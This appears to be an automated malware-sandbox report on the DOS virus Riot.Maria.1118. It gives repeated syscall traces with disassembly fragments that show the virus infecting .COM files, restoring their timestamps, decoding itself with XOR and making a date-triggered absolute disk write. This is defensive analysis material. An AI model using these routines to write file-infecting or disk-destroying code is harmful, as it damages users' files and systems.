Sample viewer

vx.netlux.org/Virus.DOS.Riot.Maria.1118

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:01:38.133010085Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-17T23:01:38.13646145Z 71 PC: 12b46 | Get current directory
2018-12-17T23:01:38.142205864Z 59 PC: 12b51 | Change current directory
2018-12-17T23:01:38.147185992Z 26 PC: 12c04 | Set disk transfer address
2018-12-17T23:01:38.148726527Z 78 PC: 12c12 | Find first file
2018-12-17T23:01:38.163038489Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:01:38.170899991Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-17T23:01:38.17855783Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-17T23:01:38.182430707Z 67 PC: 12ca2 | Get or set file attributes
2018-12-17T23:01:38.202042558Z 62 PC: 12ca6 | Close file
2018-12-17T23:01:38.204451184Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:01:38.211860256Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:01:38.215872846Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T23:01:38.218981507Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T23:01:38.222015959Z 66 PC: 12cee | Move file pointer
2018-12-17T23:01:38.225019382Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-17T23:01:38.227673088Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-17T23:01:38.237815777Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-17T23:01:38.241667925Z 87 PC: 12d07 | Get or set file date and time
2018-12-17T23:01:38.243380483Z 62 PC: 12d0b | Close file
2018-12-17T23:01:38.251960103Z 67 PC: 12d1c | Get or set file attributes
2018-12-17T23:01:38.263639709Z 79 PC: 12c25 | Find next file
2018-12-17T23:01:38.267456962Z 61 PC: 12c3d | Open file (Filename = 'PRINT.COM')
2018-12-17T23:01:38.27529524Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-17T23:01:38.282759015Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-17T23:01:38.286254323Z 67 PC: 12ca2 | Get or set file attributes
2018-12-17T23:01:38.297314274Z 62 PC: 12ca6 | Close file
2018-12-17T23:01:38.299466649Z 61 PC: 12cab | Open file (Filename = 'PRINT.COM')
2018-12-17T23:01:38.308624957Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:01:38.311811595Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T23:01:38.314754214Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T23:01:38.318576486Z 66 PC: 12cee | Move file pointer
2018-12-17T23:01:38.320657837Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-17T23:01:38.323512101Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-17T23:01:38.333851098Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-17T23:01:38.336644947Z 87 PC: 12d07 | Get or set file date and time
2018-12-17T23:01:38.338790349Z 62 PC: 12d0b | Close file
2018-12-17T23:01:38.349103948Z 67 PC: 12d1c | Get or set file attributes
2018-12-17T23:01:38.362376137Z 79 PC: 12c25 | Find next file
2018-12-17T23:01:38.365797796Z 61 PC: 12c3d | Open file (Filename = 'HELLO.COM')
2018-12-17T23:01:38.373954513Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-17T23:01:38.381353045Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-17T23:01:38.383681149Z 67 PC: 12ca2 | Get or set file attributes
2018-12-17T23:01:38.394178733Z 62 PC: 12ca6 | Close file
2018-12-17T23:01:38.397118377Z 61 PC: 12cab | Open file (Filename = 'HELLO.COM')
2018-12-17T23:01:38.404254536Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:01:38.407616663Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T23:01:38.411475534Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T23:01:38.414370614Z 66 PC: 12cee | Move file pointer
2018-12-17T23:01:38.416437498Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-17T23:01:38.42008422Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-17T23:01:38.430153841Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-17T23:01:38.433201638Z 87 PC: 12d07 | Get or set file date and time
2018-12-17T23:01:38.436391021Z 62 PC: 12d0b | Close file
2018-12-17T23:01:38.445523481Z 67 PC: 12d1c | Get or set file attributes
2018-12-17T23:01:38.457897181Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-17T23:01:38.460772694Z 59 PC: 12d97 | Change current directory
2018-12-17T23:01:38.466642614Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:31.895712086Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:31.898319736Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:31.900944992Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:31.904617375Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:31.906005021Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:31.911620604Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:31.917619153Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:31.923852892Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:31.925736916Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:33.364630904Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:33.367609218Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.374012212Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:33.38074069Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.38327124Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.386314562Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:33.388162404Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.390693094Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:33.417152066Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.419242507Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:33.420583126Z 62 PC: 12d0b | Close file
2018-12-25T12:39:33.460086868Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:33.478069331Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:33.482049916Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:33.498393395Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:33.504917867Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:33.507103219Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:33.522661497Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:33.524692834Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:33.531155759Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:33.534200186Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:33.536742008Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:33.539389557Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:33.541553126Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.54371176Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:33.560285826Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.56242571Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:33.564028938Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:33.583406977Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:33.599127662Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:33.624094409Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:33.630362979Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:33.6366856Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:33.639126478Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:33.669571305Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:33.671460179Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:33.678550617Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:33.681211207Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:33.683839011Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:33.686579546Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:33.688362355Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.690493273Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:33.719603286Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.721663699Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:33.723501423Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:33.770730546Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:33.81605472Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:33.81856292Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:33.823910141Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:32.387558646Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:32.394788707Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:32.397875856Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:32.402112859Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:32.403203971Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:32.409804162Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:32.4167724Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:32.423661489Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:32.426340681Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:33.375635378Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:33.377228769Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.385621262Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:33.393627889Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.397056464Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.401716971Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:33.403291367Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.406063293Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:33.591854007Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.594392076Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:33.596323946Z 62 PC: 12d0b | Close file
2018-12-25T12:39:33.617165222Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:33.633175074Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:33.63634849Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:33.643772046Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:33.651565139Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:33.653929771Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:33.671606542Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:33.674626763Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:33.682079558Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:33.685367175Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:33.68875668Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:33.690640341Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:33.69214284Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.694855482Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:33.707574115Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.709742865Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:33.71977368Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:33.731652583Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:33.742581089Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:33.746051903Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:33.753711136Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:33.761920929Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:33.765094237Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:33.778313055Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:33.78107348Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:33.789000416Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:33.793032673Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:33.795908996Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:33.798774091Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:33.800995151Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.803458012Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:33.813238453Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.816679333Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:33.819414896Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:33.828434557Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:33.84020446Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:33.843682521Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:33.84818401Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:33.186120247Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:33.189066842Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:33.192003603Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:33.19603326Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:33.198065191Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:33.204017897Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.210503599Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:33.217669848Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:33.220161461Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:33.838813657Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:33.840748107Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.852985555Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:33.865207713Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.868149727Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.87161872Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:33.872963043Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.875140216Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:33.902781159Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.905281608Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:33.906822506Z 62 PC: 12d0b | Close file
2018-12-25T12:39:33.915450013Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:33.922361149Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:33.924526948Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:33.929133026Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:33.933924218Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:33.935638403Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:33.94317348Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:33.946366634Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:33.953275238Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:33.956912906Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:33.959637127Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:33.96233446Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:33.964677303Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.967346396Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:33.978673802Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.991320666Z 87 PC: 12d07 | Get or set file date and time (See above)
